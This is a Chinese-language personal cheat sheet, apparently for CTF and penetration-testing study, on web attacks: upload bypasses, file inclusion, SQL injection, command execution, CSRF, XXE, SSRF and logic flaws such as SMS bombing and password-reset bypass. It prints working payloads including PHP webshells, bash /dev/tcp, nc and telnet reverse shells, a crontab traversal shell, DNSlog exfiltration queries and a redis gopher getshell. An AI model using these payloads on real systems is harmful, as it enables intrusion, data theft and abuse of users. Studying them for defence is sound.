隨手做的筆記,看起來比較亂,后面再慢慢通過做題整理吧!
檔案上傳
1.bp抓包直接修改檔案后綴名
2.MIME型別:抓包修改content-type為允許型別
3.黑名單繞過:后綴大小寫繞過,空格繞過,點繞過,::DATA繞過,雙后綴名繞過,配合Apache決議漏洞(從右往左讀,配合不可識別.owf和.rar)
4.白名單繞過(從后往前判斷檔案型別,從前往后決議檔案):%00繞過,0x00繞過(在bp中1.php.jpg,換為1.php0x00jpg)
5.繞過檔案內容檢測(判斷檔案頭):上傳圖片馬(突破getimagesize()函式) 圖片馬制作: cmd命令 例:copy 1.jpg/b+1.php/a 2.jpg
其他:
長度截斷:當檔案名超過系統允許的最大長度時,會將超出部分截斷,繞過方法,使用二分法,不斷嘗試最大腸讀,然后進行截斷
競爭上傳:當代碼的邏輯時先保存再上傳時,則存在時間競爭條件漏洞,繞過方法,寫個生成木馬的木馬,上傳木馬時使用bp不斷請求木馬,或者寫個腳本運行
(bp中的intrudor:上傳一個木馬,內容為<?php file_put_contents("shell.php","<?php phpinfo();");然后在user-agent后面添加數字1,并對該位置進行爆破)
檔案包含
函式:require:出錯時直接報錯退出;require_once:出錯時直接退出,僅包含一次;
include:出錯時拋出警告,但繼續運行;include_once:同上,包含一次
本地檔案包含:包含本地敏感檔案、上傳檔案
包含系統檔案:C:/Windows/檔案名
包含上傳檔案:../(回傳上一級目錄)/檔案名
配合日志檔案:引數=php代碼(如<?php phpinfo();?>),用bp抓包,然后將php代碼改回原樣,然后進行包含
配合/proc/self/environ檔案:引數=/proc/self/environ&(php代碼中的引數)=id,用bp抓包,然后在user-agent后面加上php代碼(如<?php system($_GET['cmd'])?>)
配合session檔案:
(1)直接包含檔案
(2)包含frm檔案(表結構檔案),通過在創建資料表時將資料表的名稱設為我們的php一句話木馬,從而包含這個檔案時可以執行一句話木馬
(3)phpsession序列化資料保存至session檔案,包含其快取檔案,通過select'php一句話木馬';進而包含sess_sessionIL檔案
利用php協議進行檔案包含
1.file協議:fopen和include關,格式:引數=file:///C:windows/win.ini,用于當../被屏蔽時
2.php://filter協議:主要用來查看原始碼,格式:引數=php://filter/(read.)convert.base64-encode/resource=include.php
注:如果$content在開頭增加了exit程序,導致即使我們成功寫入一句話,也執行不了;繞過方法:在bp中抓包,寫入txt=a(額外添加的,base64解碼時是4個位元組一組加上a可以和前面的phpexit組合)+一句話木馬的base64編碼&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
3.php://input協議:fopen關include開,主要用來接受post資料,將post請求中的資料作為php代碼執行;格式:引數=php://input<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['xxxser']);?>")?>
4.zip://、bzip2://、zlib://協議:雙關,可以訪問壓縮檔案中的子檔案,格式:zip://壓縮檔案絕對路徑#(#可以寫成其url形式:%23)壓縮檔案內的子檔案名
5.phar://協議:類似zip協議,但是可以使用相對路徑;格式:phar://壓縮檔案絕對或相對路徑/壓縮檔案內的子檔案名
6.data://協議:雙on,將原本的include的檔案流重定向到了用戶可控制的輸入流中,格式:引數=data://text/plain,<?php phpinfo();也可以寫成base64形式:data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA==
注:echo $_SERVER['DOCUMENT_ROOT'];顯示檔案路徑?page=data://text/plain,<?phpprint_r(scandir(目錄));?>讀出當前目錄檔案<?php system("cat 檔案名");?>讀出內容<?php system("ls")?>顯示當前目錄內容
遠程檔案包含:包含攻擊者指定遠程url檔案
xxx.xxx.xxx.xxx/檔案名
繞過方式
本地檔案包含繞過方式:
%00截斷(magic_quotes_gps=off php版本<5.3.4) 格式:引數=../../../../phpinfo.php%00
%00截斷目錄遍歷(magic_quotes_gps=off unix檔案系統)格式:引數=../../../../var/www/%00
路徑長度截斷(php版本<5.2.8,windows下目錄最大長度為256位元組,linux為4096,超出部分丟棄)格式:引數=../../../../phpinfo.php././././[...]././
點號截斷(php版本<5.2.8,只適用于windows,點號長于256)格式:引數=../../../../phpinfo.php.................[....]....
遠程檔案包含繞過方式:
1.+? 引數=url?
2.+%23
3.+%20
SQL注入
MySQL資料庫的一些簡單語法:
新建資料庫:create database 資料庫名;
新建表:create table 表名(欄位名1 資料型別 約束,欄位名2 資料型別 約束);
插入資料:insert into 表名(列名) values(資料);
簡單查詢:select 列名 from 表名;
where查詢:select 列名 from 表名 where 列名 比較運算子 數值;
洗掉資料:delete from 表名 where 列名=值;
更新資料:update 表名 set 列名=新值 where 列名=值;
order by排序:select *from 表名 order by 列名;
limit控制輸出:select * from 表名 limit 開始位置,結束位置;
information_schema(5.0版本以上自帶)
SQL注入發現:
1.尋找一切可能存在SQL互動的功能點
2.利用單引號或雙引號或\來檢測是否存在注入,如果爆出sql錯誤,90%可能存在注入
聯合查詢注入:流程:1.判斷是否存在注入(單引號或雙引號或\)2.判斷欄位數、獲取顯示位 3.獲取所有資料庫名 4.獲取所有表名 5.獲取所有列名 6.獲取所有資料
相關函式:database()回傳當前網站所用資料庫名 version()回傳當前資料庫版本 user()回傳當前資料庫用戶名 group_concat()將查詢的多行資料合并成一行進行顯示,括號里面填入要查詢的列名
union select聯合查詢,連接上一條陳述句,合并查詢(一般將前一條陳述句設定為假從而執行后一條陳述句)
order by對查詢結果進行排序,用法是order by 列名,在SQL注入中接數字,來判斷列數
limit n,1從你表中的第n條資料開始,讀取一個
注釋符:# -- (加上)任意字符 /**/ ;%00
!注!:判斷是否存在注入時,如果出現4(3)個單/雙引號時,證明為字符型注入,如果是2(1)個單引號時,則為數字型注入,在寫注入陳述句時,最后面要加上注釋符
格式:select * from users where id=1 union select xxx
要求:要求多條查詢陳述句的查詢列數是一樣的
2.猜解列數:用order by 數字來猜列數,當網站不報錯時,證明猜對
3.根據猜到的列數爆顯示位:就是union select 1,2,...n 觀察顯示位的地方
4.根據爆出的顯示位在相應文職查詢資料庫版本和當前資料庫
5.爆出當前資料庫下的所有表
6.根據爆出的表爆出指定表的所有列名
7.根據列名爆出所有資料
聯合查詢bypass
過濾了select x from x類似的正則:select group_concat(x)from x
過濾了union等關鍵字,如果用的str_ireplace(),可以雙寫繞過,如uunionnion
過濾了or and等關鍵字,利用&&||繞過
過濾了空格,利用+繞過
報錯注入:
相關函式:concat(str1,str2)將字串首尾相連
concat_ws(separator,str1,str2)將字串用指定連接符連接
updataxml(XML_document,XPath_string,new_value),第一個引數是xml檔案的名稱,第二個參是xpath格式的字串,第三個引數是替換查找到的符合條件的資料,注:在xpath傳入xpath不認識的特殊字符,并加上一些查詢陳述句,mysql就會顯示出結果
extractvalue(xml_str,Xpath),第一個引數是傳入的xml檔案,第二個是傳入檔案的路徑,注:必須在xpath那傳特殊字符,mysql才會報錯,而我們又要注出資料,沒有足夠的位置,所以要用concat函式;xpath只會對特殊字符報錯,這里我們用~,16進制的0x7e來進行利用;xpath只會報錯32個字符,所以要用到substr
布爾盲注(在頁面中,如果正確執行SQL陳述句,回傳一種界面,而錯誤執行回傳另一種頁面,基于兩種頁面來判斷sql陳述句的正確性)
流程:1.判斷是否存在注入 2.獲取資料庫長度 3.逐字猜解資料庫名 4.猜解表名數量 5.猜解某個表長度 6.逐字猜解表名 7.猜解列名數量 8.猜解某個列長度 9.逐字猜解列名 10.判斷資料數量 11.猜解某條資料的長度 12.逐位猜解資料
相關函式:ascii()回傳當前ascii碼 length()回傳當前長度 count()回傳當前列的數目
條件陳述句:if(a,b,c)如果a成立,則執行b,否則執行c
select case when (條件) then 代碼1 else 代碼2 end
過濾了substr函式:
left(str,index)從左邊index開始截取
right(str,index)從右邊index開始截取
substring(str,index)從左邊index開始截取
mid(str,index,len)截取str,從index開始,截取len的長度
lpad(str,len,padstr) rpad(str,len,padstr)在str的左(右)兩邊填充給定的padstr到指定的長度len,回傳填充的結果
延時盲注 (無論sql陳述句怎樣執行,一般是頁面無回顯,無報錯的情況下使用)
相關函式:sleep(n)延時n秒
Dnslog注入 (當我們碰到sql盲注時,一般用二分法一個字符一個字符的猜,有可能會因為請求次數過多被防火墻ban掉ip,這是利用dnslog來進行注入)
常規流程:攻擊者通過get方式或者post方式傳輸payload,然后受害者服務器經過sql查詢把資料回傳給攻擊者
dnslog方式:把payload通過dns請求發送,然后看dns日志就獲取到資料了
相關陳述句:load_file(filename)讀取檔案并回傳檔案內容為字串,使用此函式需滿足以下條件:
(1)所讀檔案必須在服務器上,且必須指定檔案其絕對路徑
(2)連接當前資料庫用戶必須有FILE權限
(3)檔案內容必須小于max_allowed_packet
UNC:UNC路徑就是類似\softer這樣的形式的網路路徑,格式\servername\sharename,前面是服務器名稱,后面是共享資源的名稱
查詢資料庫payload:and if((select load_file(concat('\\\\',(select database()),'.xxx.xxx.xxx\\abc'))),0,1)--+
命令執行
部分需要呼叫的php函式,如eval(),assert(),preg_replace(),create_function()等,如果存在一個使用這些函式且未對可被用戶控制的引數進行檢查過濾的頁面,則該頁面可能存在遠程命令執行漏洞
eval()和assert()函式都可以執行引數內的代碼,且接受的引數為字串,如:<?php @eval($_POST['cmd']);?>和<?php @assert($_POST['cmd'])?>,eval()函式必須以分號結尾,assert()函式不需要分號結尾
preg_replace()函式,格式:preg_replace('正則規則','替換字符','目標字符'),如:<?php preg_replace("/test/e",$_POST["cmd"],"just test");?>意思同上,在5.5.版本后就不再用/e了,用preg_replace_callback()代替
array_map()函式,將用戶自定義函式作用到陣列中的每個值上,并回傳用戶自定義函式作用后的帶有新值的陣列,如<?php $func=$_GET['func']; $cmd=$_POST['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); echo $new_array;?>
利用動態函式執行,php函式可直接由字串拼接而成,如:<?php $a=$_GET['a']; $b=$_GET['b'];echo $a($b);?> 則payload為:a=assert&b=phpinfo()
利用php系統命令執行函式來呼叫系統命令并執行,如system()執行外部程式并顯示輸出,exec()執行一個外部程式,shell_exec()通過shell環境執行命令,并且將完整的輸出以字串的方式回傳,passthru()執行unix系統命令并且顯示原始輸出,penti_exec()在當前行程空間執行指定程式,popen()打開行程檔案指標,proc_pen()執行一個命令并且打開用來輸出/輸入的檔案指標,此外還有反引號命令執行,原理同shell_exec()
常用特殊字符:
cmd1|cmd2:無論cmd1是否執行成功,cmd2將被執行
cmd1&cmd2:無論cmd1是否執行成功,cmd2將被執行
cmd1;cmd2:無論cmd1是否執行成功,cmd2將被執行
cmd1||cmd2:僅在cmd1執行失敗時才執行cmd2
cmd1&&cmd2:僅在cmd1執行成功后才執行cmd2
$(cmd):echo$(whoami)或者$(touch test.sh;echo 'ls' >test.sh)
'cmd':用于執行特定命令,如'whoami'
>(cmd):<(ls)
<(cmd):>(ls)
命令執行漏洞(DVWA-high等級):
stripslashes:反參考一個參考字符,回傳一個去除轉義反斜線后的字串(\'轉換為'等),雙反斜線(\\)被轉換為的那個反斜線(\)
explode:使用一個字串分割另一個字串,回傳由字串組成的陣列,每個元素都是string的一個字串,他們被字符.作為邊界點分割出來
is_numeric:檢測變數是否為數字或數字字串,是回傳true,否則回傳false
php命令執行反彈shell
nc反彈shell如:127.0.0.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe
telnet反彈shell如:127.0.0.1;rm -f a;mknod a p;telnet 172.26.1.156 6666 0<a | /bin/bash 1>a
php命令執行寫shell
1:127.0.0.1|echo "<?php @eval($_POST['cmd']);?>">1.php
2:127.0.0.1|echo "<?php ($_=@$_GET[2]).@$_($_POST[1])?>">3.php
3:fputs(fopen("a.php","w"),'<?php eval($_POST["cmd"])?>');
4.編碼:
ascii碼:cmd=eval(chr(102)...............);
base64編碼:fputs(fopen(base64_decode(.......,w),base64_decode(.............................))); 注:post引數中不能出現<,>,+,/,=等字符,通過二次base64編碼去除字符
防護
1.禁用高危系統函式,在php安裝目錄中找到php.ini檔案,找到disable_functions,在后面添加禁用的函式名,函式名之間以英文逗號分隔,高危系統函式有:phpinfo(),eval(),passthru(),chroot(),scandir(),chgrp(),chown(),shell_exec(),proc_open(),proc_get_status(),ini_alter(),inirestore(),dl(),pfsockopen(),openlog(),syslog(),readlink(),symlink(),popepassthru(),stream_socket_server(),fsocket(),fsockopen()
2.嚴格過濾特殊字符
轉義或過濾Windows的特殊字符:()<>&*'|=?;[]^~!."%@/\:+,'
轉義或過濾Linux專用字符:{}()<>&*'|=?;[]$-#~!."%/\:+,'
創建僅包含允許的字符或命令串列的白名單以驗證用戶輸入
3.開啟safe_mode:php安全模式,php.ini檔案中safe_mode = on
檔案上傳之另類反彈shell(利用目錄穿越方式反彈shell)
使用crontab進行計劃任務
在linux下可使用service crontab start來啟動crontab服務,crontab一共有5個時間點,格式為*(分鐘)*(小時)*(星期)*(月份)*(年份)[命令],我們可使用命令crontab -e來編輯任務計劃
目錄穿越實作
在linux下嘗試使用In -s /etc hack那么就成功穿越到了etc的目錄下,可以產生任意檔案讀取漏洞,漏洞案例WINRAR壓縮程式目錄遍歷
步驟:
1.攻擊介紹:界面是一個上傳檔案,漏洞出發于并沒有對檔案名進行判斷,所以導致了目錄穿越漏洞 注:這里上傳一句話木馬檔案沒用,并不會執行其內容
2.開始使用NC監聽:使用nc -l vp 8080的命令進行監聽彈回的shell
3.開始抓包:使用bp抓包,并修改filename為../../../../../var/spool/cron/root此目錄表示存放計劃任務的檔案
4.修改包資料:之后將包的資料修改為惡意反彈指令:bash -c 'bash -i >& /dev/tcp/0.0.0.0/8888 0>&1' | ls我們只需要更改IP和埠,之后點擊發送,
原理剖析:沒有對handle.filename進行過濾,從而產生的目錄穿越漏洞,我們可以用string將filename的/替換掉,這樣可以有效修復漏洞
CSRF(跨站請求偽造,一種挾持用戶在當前已登錄的web應用程式上執行非本意的操作的攻擊方法)
CSRF模型:1.用戶登錄受信任網站A,并在本地生成Cookie 2.在不登出A的情況下,訪問危險網站B
出現比較多的場景有用戶密碼的修改、銀行轉賬、購物地址的修改或用戶資料修改等等一切有請求的程序中,CSRF的本質就是在不知情的情況下執行請求
CSRF的利用:正常的CSRF攻擊,增刪改等操作(基本操作的CSRF)
另類的CSRF:JSONP、CORS、Flash跨域劫持(基本檔案讀取的CSRF)
GET型、POST型CSRF:可以用bp一鍵生成,bp的CSRF PoC generator
鏈接型CSRF:需要用戶點擊才會觸發,通常在圖片中嵌入惡意鏈接,如:<a herf="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank"> "重磅訊息!!" </a>
構造請求:1.獲取請求2.構造請求3.讓別人點擊
操作型CSRF:模擬人為操作,讓受害者執行危險請求
讀取型CSRF:模擬人為請求,獲取受害者的敏感資訊,首先讓用戶發起請求介面,回傳銘感資料,再把敏感資料發送到dnslog里,分為CORS(前端安全之跨站資源共享),JSONP和flash跨域劫持
CORS:使用額外的HTTP頭來告訴瀏覽器,讓運行在一個origin(domain)上的web應用被準許訪問來自不同源服務器上的指定的資源,上在bp抓包后看頭部的origin頭,在response中是否會因為request中的改變而改變
jsonp:目標頁面回呼本地頁面的方法,并帶入引數,看bp中的某一引數改變后,response中是否有jsonp因此改變,bp中的collaborator client可以構建服務器
基本步驟:cors:發現漏洞,構造代碼,然后運行,在dnslog中查看得到的敏感資訊
jsonp:發現漏洞,構造代碼,在靶機中添加代碼檔案,將網址發給受害者,受害者點擊,然后就可以在dnslog中得到敏感資訊
XXE(外部物體注入攻擊,發生在應用程式決議XML輸入時,沒有禁止外部物體的加載,導致攻擊者可以通過XML的外部物體獲取服務器中本應被保護的資料)
基礎:
XML(XML檔案結構包括XML宣告、DTD檔案型別定義(可選)、檔案元素)
語法:1.XML檔案必須有一個根元素 2.XML檔案必須有一個關閉標簽 3.XML標簽對大小寫敏感 4.XML元素必須被正確嵌套 5.XML屬性值必須加引號
DTD:檔案型別定義,用來對XML檔案定義語意約束
內部宣告:DTD被包含在XML源檔案中,語法<!DOCTYPE 根元素 [元素宣告]>
外部宣告:DTD位于XML源檔案的外部,語法<!DOCTYPE 根元素 SYSTEM "檔案名(檔案路徑)">
PCDATA:指被決議的字符資料,xml賈西奇通常會決議xml檔案中的所有文本,在XML中有5個預定義的物體參考<>&'"一一對應<>&.",在XML中僅有<和&是非法的,但是將他們替換為物體參考是個好習慣
CDATA:指不應由xml決議器進行決議的文本資料,CDATA部分中的所有內容都會被決議器忽略,使用方法:<![CDATA[開始,由]]>結束
DTD物體:用于定義參考普通文本或特殊字符的快捷方式的變數,在xml中通過 &物體; 進行參考
內部普通物體:宣告:<!ENTITY 物體名稱 "物體的值">
外部普通物體:宣告:<!ENTITY 物體名稱 SYSTEM "URI/URL"> 注:各語言參考外部物體時支持的一些協議有所區別
引數物體:宣告:內部:<!ENTITY % 物體名稱 "物體值"> 外部:<!ENTITY % 物體名稱 SYSTEM "URI"> 引數物體的參考范圍只限于DTD宣告中
利用場景:有回顯和無回顯
有回顯:可以直接看到payload的執行結果
無回顯:blind XXE,可以使用外帶資料通道提取資料及外帶XML外部物體(OOB-XXE)
漏洞發現:1.首先尋找接受XML作為輸入內容的端點(可以通過修改HTTP的請求方法,修改content-type頭部欄位等方法,看程式是否決議了發送的內容,還可以嘗試注入xml預定義的一些物體,看是否報錯,通過報錯資訊判斷)
2.如果站點決議xml,可以嘗試參考物體和DTD,如果可以參考外部物體,則存在XXE漏洞
有回顯的本地檔案讀取:直接在bp中抓包寫入payload
當所讀取檔案中包含了<或&,在本地開啟一個監聽埠,cmd->python2 -m SimpleHTTPServer 埠,利用外部引數物體構造payload
利用php偽協議進行讀取檔案:php://filter/read=convert.base64-encode/resource=檔案路徑
無回顯的檔案讀取:利用外部DTD的方式將內部引數物體的內容與外部DTD宣告的物體的內容拼接起來,利用payload來從目標主機讀取到檔案內容后,將檔案內容作為url的一部分來請求我們本地監聽的埠,步驟:開啟一個監聽埠,構造payload,監聽埠收到請求,開啟另一個監聽埠,然后在dtd檔案中讀取另一個檔案,并且發送請求,另一個監聽埠就會收到請求
利用XXE進行埠探測:抓包,構造一個外部物體的payload,然后將包發送到intruder進行探測
Java中匯入excel處存在的XXE:一般在上傳xlsx的地方有可能會存在xxe漏洞,步驟:(1)新建一個xslx檔案(2)用壓縮軟體打開xlsx檔案(3)復制里面的[Content_Type].xml檔案出來,將其打開并添加payload(4)將修改后的xml檔案覆寫原本的xml檔案(5)然后將修改后的xlsx檔案上傳,我們就會收到服務器的請求
xxe修復:方案一:過濾用戶輸入的xml資料,比如尖括號,一些關鍵字:<!DOCTYPE>和<!ENTITY,SYSTEM,PUBLIC等
方案二:禁止xml加載外部物體(推薦)
SSRF(服務端請求偽造)
形成原因:由于服務端提供了從其他服務器應用獲取資料的功能,但又沒有對目標地址做嚴格過濾與限制,導致攻擊者可以傳入任意的地址來讓后端服務器對其發送請求,并回傳對該目標地址請求的資料
在PHP中:某些函式的不當使用會導致SSRF:如file_get_conntents()、fsockopen()、curl_exec()
file_get_conntents():把檔案寫入字串,當url是內網檔案時,會先把這個檔案的內容讀出來再寫入,導致了檔案讀取
fsockopen():實作獲取用戶指定url的資料(檔案或者html),這個函式會使用socket跟服務器建立tcp連接,傳輸原始資料
curl_exec:通過file、dict、gopher三個協議來進行滲透
危害:獲取web應用可達服務器服務的banner資訊,以及收集內網web應用的指紋識別,根據這些資訊再進行進一步的滲透
攻擊運行在內網的系統或應用程式,獲取內網系統弱口令進行內網漫游,對有漏洞的內網web應用實施攻擊獲取webshell
利用由脆弱性的組件結合ftp://、file://、dict://等協議實施攻擊
漏洞發生點:
通過url地址分享網頁內容
檔案處理、編碼處理、轉碼等服務
在線翻譯
通過url地址加載與下載圖片
圖片、文章收藏功能
未公開的api實作及其他呼叫url的功能
網站郵箱收取其他郵箱郵件功能
從url關鍵字尋找:share,wap,url,link,src,source,target,u,3g,display,sourceURL,imageURL,domain等
利用:1.有回顯 2.無回顯
有回顯:cURL的利用:dict協議,file協議,gopher協議,http協議
判斷存在:通過目標服務器去請求一個網站,如果回傳了改網站的頁面資訊,則說明存在SSRF漏洞
無回顯:DNS,http帶外通道
判斷存在:首先開啟一個apache服務,然后利用目標網站去請求我們的服務器,然后就可以在服務器日志里看到有請求記錄,除此之外還可以利用bp的burp collaborator client以及DNSlog
dict協議運用:
curl:一種命令列工具,作用是發出網路請求,獲取資料
curl -v ‘dict://ip:埠’:顯示HTTP通信的整個程序,包括埠連接和HTTP request頭資訊
dict協議是一個字典服務器協議,通常用于讓客戶端使用程序中能夠訪問更多的字典源,在SSRF中如果可以使用此協議,就可以輕易獲取目標服務器埠上運行的服務版本等資訊(遠程利用)
file協議運用:
本地利用:file協議主要用于訪問計算機中的檔案
curl -v ‘file://檔案路徑(/etc/passwd)’
遠程利用:讀取系統敏感資訊
gopher協議(互聯網上使用的分布型的檔案搜集獲取網路協議)運用:
使用方法:gopher://ip:port/_payload
利用gopher協議getshell
常見的exp:
flushall:洗掉所有資料庫中的key
-x引數:從標準輸入讀取一個引數
在redis的第0個資料庫中添加key為1,value欄位最后會多一個/n是因為echo重定向最后會自帶一個換行符,這里用的centos,ubuntu用戶的定時任務在/var/spool/cron/crontabs/目錄下
dir 資料庫備份的檔案放置路徑
dbfilename備份檔案的檔案名
使用socat進行埠轉發,利用這個腳本攻擊自身并抓包得到資料流
socat -v tcp-listen:2333,fork tcp-connect:127.0.0.1:6379
然后執行腳本得到資料流:
bash shell.sh 127.0.0.1 2333
利用腳本將資料轉換成配置于gopher協議的url,轉換規則:
如果第一個字符是<或>,則丟棄改行字串,表示請求和回傳的時間
如果前三個字符是+OK,則丟棄改行字串,表示回傳的字串
將\r字符替換成%0d%0a
將空白行替換成%0a
繞過姿勢:
利用決議url:某些情況下,后端程式可能會對訪問的url進行決議,對決議出來的host地址進行過濾,這時可能會出現對url引數決議不當,導致可以繞過過濾,如訪問http://[email protected]于訪問10.10.10.10的內容一致,因此可以使用@繞過驗證
IP地址轉換成進制:例如192.168.0.1可以改成8進制:0300.025.0.1 16進制:0xC0.0xA8.0.1 10進制整數格式:3232235521 16進制整數格式:0xC0A8000
添加埠如:10.10.10.10:80
短網址:將ip地址設為ip.xip.io或www.ip.xip.io
利用enclosed alphanumerics:???????.???
利用句號:127,0,0,1
修復:過濾回傳資訊,驗證遠程服務器對請求的回應
統一錯誤資訊
限制請求的埠為http常用的埠
禁用不需要的協議,僅允許http和https請求
設定url白名單或限制內網ip
邏輯漏洞(程式員在撰寫程式的時候,跟隨著人的思維邏輯產生的不足)
分類:1.url跳轉 2.短信轟炸 3.任意密碼修改 4.任意用戶登錄 5.越權 6.支付邏輯漏洞 7.條件競爭
1.url跳轉漏洞:開放重定向漏洞,可以把用戶重定向到攻擊者自己構造的頁面去,就單的說就是可以跳轉到任意指定的url
產生原因:服務端未對傳入的跳轉url變數進行檢查和控制,可能導致可惡意構造任意一個惡意地址,誘導用戶跳轉到惡意網站
舉例:sso登陸,驗證跳轉等
危害:利用原始碼小偷制作釣魚網站,配合xss漏洞執行js,配合csrf操作危險請求,配合瀏覽器漏洞
例子:
1.qq空間url跳轉漏洞:http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_urlcheck?url=http://wooyun.org
2.百度url跳轉漏洞:http://m.baidu.com/l=2/tc?src=http://www.wooyun.org
修改合法的url為自己設定的url跳轉成功即可訪問上面地址會直接變成自己設定的地址即時url跳轉
dedemcs任意url跳轉漏洞:http://127.0.0.1/dedecms2/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D
url跳轉bypass:
1.利用問好繞過限制url=https://www.baidu.com?www.xxxx.me
2.利用@繞過限制url=https://[email protected]
3.利用斜杠反斜杠繞過限制
4.利用#繞過限制url=https://www.baidu.com#www.xxxx.me
5.利用子域名繞過
6.利用畸形url繞過
7.利用跳轉ip繞過
2.短信轟炸漏洞(簡單地說就是發送短信/郵件的包可以無限制的發送)
位置:登錄、注冊、找回密碼、系結手機/郵箱、修改賬號等一切需要驗證的位置
測驗方法:抓到發送短信、郵件、私信、站內信的報文,不斷重放,
bypass:
1.嘗試在mobile引數后面加%20即空格,直接加空格也可以
2.嘗試在mobile后面加字母等
3.嘗試對引數進行多次疊加
4.利用呼叫介面繞過短信&郵箱轟炸限制
比如這樣的引數:terminal=01&Mobile=XXXX,前面的介面是呼叫短信發送內容的介面,比如terminal引數值為01是呼叫注冊成功的短信提示,02是呼叫密碼重置成功的短信提示,03是呼叫注冊成功的短信提示等等,當修改這個介面值時,也就達到了短信轟炸或郵箱轟炸的目的
5.修改Cookie值繞過短信&郵箱轟炸限制
有些可能不是直接驗證手機號來判斷次數,而是驗證當前Cookie,利用當前Cookie來進行驗證發送次數的話,很容易造成繞過,這里如果驗證的不是登錄狀態的Cookie而是普通狀態下的Cookie的話就可以通過修改Cookie達到繞過驗證
6.修改IP繞過短信&郵箱轟炸限制
有些同樣是驗證當前IP的,如果當前IP短時間內獲取短信或郵件頻繁或者達到一定次數的話就會出現限制,那么就可以利用修改IP或者代理IP來進行繞過限制
7.利用大小寫繞過郵箱轟炸限制
修改郵箱后面字母的大小寫就可以繞過限制,比如引數是這樣的:[email protected]當次數達到限制時,隨便修改一個字母為大寫:[email protected]就可繞過限制
8.修改回傳值繞過短信&郵箱轟炸
比如發送成功后回傳值是success,發送失敗的回傳值是error,那么當達到次數后,可以通過修改回傳值為正確的回傳值:success,從而繞過限制,達到發送成功的目的
3.任意密碼修改漏洞(廠商在對密碼修改的時候,未對修改密碼的憑證做嚴格的限制,導致可以被繞過進行任意的密碼修改)
1.驗證碼爆破:①重置密碼發送手機驗證碼②發現驗證碼只有四位③利用burp進行爆破④爆破成功重置密碼
要點:1.表現:驗證碼四位,服務端未對驗證時間次數進行限制(出現次數比較多的地方)
2.驗證碼六位,但是不過期,并且沒有對驗證的次數進行限制
3.驗證碼可以發送多次,而且每次都不會過期
利用:使用burp的爆破模塊即可,或者自己撰寫腳本
修復:使用六位驗證碼,限制驗證碼認證次數
特例:對IP進行了驗證次數的限制,利用ip輪換進行爆破
2.驗證碼憑證回傳:重置密碼時,憑證為發送到手機上的驗證碼,但是通過攔截發送驗證碼請求對應的response包時,發現驗證碼在包中
重點:注意是憑證,有時候可能回傳包里面憑證可能在cookie里面或者也有可能在其他地方
特例:dedecms任意密碼重置
登錄賬號之后,訪問鏈接http://127.0.................id=1可以獲取到重置密碼的憑證,修改id即可遍歷其他用戶
解決方案:修改包的回傳規則
3.驗證碼未系結用戶:輸入手機號和驗證碼進行重置密碼的時候,僅對驗證碼是否正確進行了判斷,未對該驗證碼是否與手機號匹配做驗證
表現:任意賬號都能夠接收到驗證碼并能夠使用A手機的驗證碼,B可以拿來用
修復:1.在服務器進行有效驗證,手機號和驗證碼在服務器進行唯一性系結驗證 2.在服務端限制驗證碼發送周期,設定時效,限制次數
4.本地驗證繞過:客戶端在本地進行驗證碼是否正確的判斷,而該判斷結果也可以在本地修改,導致欺騙客戶端,誤以為我們已經輸入了正確的驗證碼場景:
1.驗證碼回傳在前臺進行對比
2.驗證碼在js里面直接進行對比
3.直接修改回傳包
利用:重置目標用戶,輸入錯誤驗證碼,修改回傳包,報錯誤改為正確,即可繞過驗證步驟,最終重置用戶密碼
5.跳過驗證步驟:對修改密碼的步驟,沒有做校驗,導致可以輸入最終修改密碼的網址,直接跳轉到該頁面,然后輸入新密碼達到重置密碼的目的
測驗:首先使用自己的賬號走一次流程,獲取每個步驟的頁面鏈接,然后記錄輸入新密碼的對應連接,重置他人用戶時,獲取驗證碼后,直接進入輸入新密碼對應鏈接到新密碼的界面,輸入密碼重置成功
6.token可預測:使用郵件接收重置密碼的鏈接時,一般都會帶有一個token用于判斷鏈接是否被修改過,如果token可以預測,那么攻擊者可以通過構造鏈接來重置任意的用戶密碼
表現:1.基于時間戳生成的token 2.基于遞增序號生成的token 3.基于關鍵欄位生成的token 4.token有規律
7.同時向多個賬戶發送憑證:將發送驗證碼的包截獲,修改欄位添加多個賬戶,再發包,發現縮寫的有效欄位均發送了憑證
8.接收端可篡改:重置密碼時,憑證會發送到手機上,通過替換手機號,可以使用自己的手機號接受驗證碼,還有一 種情況比較特殊,也是手機接受驗證碼,但是重置密碼的整個流程中并沒有輸
入過手機號之類的,說明后臺程式很可能是通過用戶名來查詢的電話號碼,整個重置流程中, -般第一步是系結用戶名的地方,但是如果后面幾個流程中還會發送用戶名這個引數(這個時候發
送的引數可能是單獨用于在資料庫中查詢手機號的,同時說明這個地方可能存在sql注入) ,可以修改嘗試一下
9.萬能驗證碼:某些開發在未上線前為了方便測驗加了888888,000000這樣的萬能驗證碼但是上線后沒去洗掉測驗的內容導致被惡意利用
4.任意賬戶登錄:撞庫獲得用戶名(手機號或者郵箱),通過驗證碼登錄,若抓包修改接收驗證碼的手機號/郵箱,然后使用該驗證碼能使撞庫的用戶登錄,即產生漏洞
適用場景:
1.驗證碼回顯:與任意密碼修改類似,在手機驗證碼登陸的時候有一個驗證碼回顯,直接用驗證碼登錄即可
2.修改回傳包登錄:1.首先在重置或者登錄的時候抓登陸包 2.然后修改回傳包,把錯誤的變成正確的 3.服務器被欺騙,登陸成功
3.通過遍歷id可以登錄:通過修改對應的userid號,利用修改其他的userid進行登錄 實體:vlcms_1.2.0任意用戶登錄 1.首先注冊賬號 2.訪問地址:http://127.0.0.1/vlcms/index.php?s=/member/res_login/post:uid=60 3.修改uid登錄任意用戶
4.sql注入萬能密碼:select id from users where username = 'admin' or 1=1 #' and password ='' 利用sql注入陳述句admin ’ or 1=1 #組合陳述句
5.系統默認弱口令:系統在搭建的時候,設定了默認口令,例如123456等這種密碼,或者是默認的強口令,asdaffags1231這種,但是密碼是通用的就可以利用這個密碼進行登錄任意賬戶
6.撞庫:不同的系統又可能會用一個相同的資料庫,例如4A的用以認證,拿到了一個系統的資料庫用戶即可通用,或者舊密碼未改動,可以通過社工庫等查詢到舊密碼,進行撞庫
7.cookie混淆:在登錄的時候是根據cookie中的某一個欄位來進行判斷登錄的角色
